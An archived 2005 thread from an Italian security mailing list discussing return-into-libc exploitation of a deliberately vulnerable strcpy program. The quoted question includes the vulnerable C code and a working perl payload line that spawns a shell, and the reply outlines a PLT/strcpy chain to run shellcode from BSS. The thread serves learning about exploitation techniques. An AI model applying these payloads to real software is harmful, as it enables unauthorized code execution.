[ Home | Liste | F.A.Q. | Risorse | Cerca... ]


[ Data: precedente | successivo | indice ] [ Argomento: precedente | successivo | indice ]


Archivio: Settembre 2005 ml@sikurezza.org
Soggetto: Re: [ml] return into libc
Mittente: Ork
Data: Thu,  8 Sep 2005 09:07:43 +0200 (CEST)
Supponendo che la sezione PLT non abbia caratteri 0x00 nell'indirizzo e che
la sezione BSS sia eseguibile, è possibile exploitare quel programmino
eseguendo la seguente redirezione in PLT:

[padding][strcpy() in PLT][addr in BSS][addr in BSS][addr of ShellCode]

In questo modo sarà dato il controllo alla funzione strcpy() che copierà lo
ShellCode nella sezione BSS e poi lo eseguirà.
Lo ShellCode può essere inserito in una variabile d'ambiente in modo che il
suo indirizzo sia predicibile.

Esistono anche altri modi per exploitare quel programmino (sempre usando
redirezioni verso funzioni di libreria), ma troppo complicati da spiegare
via mail.

Ti consiglio di dare un'occhiata agli esempi di raptor :
http://www.0xdeadbeef.info/code/linux-x86-exploits.tgz

In particolare quelli riguardanti Openwall.

Saluti,
Enrico


	--------- Original Message --------
	Da: ml@xxxxxxxxxxxxx
	To: ml@xxxxxxxxxxxxx <ml@xxxxxxxxxxxxx>
	Oggetto: [ml] return into libc
	Data: 08/09/05 02:11
	
	> Salve a tutti,
> 
> Cercando delle tecniche per l'exploiting di applicazioni con stack non  
> eseguibile, ho trovato la "return into libc", ma ho un problema nella sua 

> applicazione (su architettura x86).
> Ho letto, (considerando i casi più semplici), che l'EIP va fatto puntare  
> alla funzione system della libc con un buffer simile al seguente:
> [ PADDING ][ system addr ][ exit addr ][ arg1 ][ arg2 ][ ... ]
> 
> Nel mio caso:
> 	paddind: 28 bytes.
> 	system:  0xb7eda5f0;
> 	exit:	 0xb7ecf6e0
> 	arg1:	 0xbffffe22	(indirizzo variabile d'ambiente SHELL=/bin/sh)
> Quindi utilizzando ./vuln1 `perl -e 'print "A"x28  .  
> "xf0xa5xedxb7xe0xf6xecxb7x24xfexffxbf"'` ottengo la shell.
> 
> Il problema sorge quando l'indirizzo della funzione system contiene dei  
> byte 0x00 (ex. system: 0x00731233): in questo caso la strcpy smette di  
> copiare il buffer, trovando il terminatore di stringa 0x00.
> Come è possibile utilizzare questa tecnica anche nel caso sopra citato?
> Quali altre tecniche vi sone per le applicazioni con stack non eseguibile?
> 
> // vuln1.c
> main(int argc , char *argv[]) {
> 	char buff[5];
> 	strcpy(buff,argv[1]);
> 	return 0;
> }
> 
> Grazie, rbt
> 
> 
> 
> 
> 
> 
> 
> 
> 
> ________________________________________________________
> http://www.sikurezza.org - Italian Security Mailing List
>  
 --
 Email.it, the professional e-mail, gratis per te: http://www.email.it/f
 
 Sponsor:
 Telefona con TELE2. Risparmia sulle tue telefonate urbane, interurbane,
internazionali e verso i cellulari
 Clicca qui: http://adv.email.it/cgi-bin/foclick.cgi?mid=3754&d=20050908






[ Home | Liste | F.A.Q. | Risorse | Cerca... ]

www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005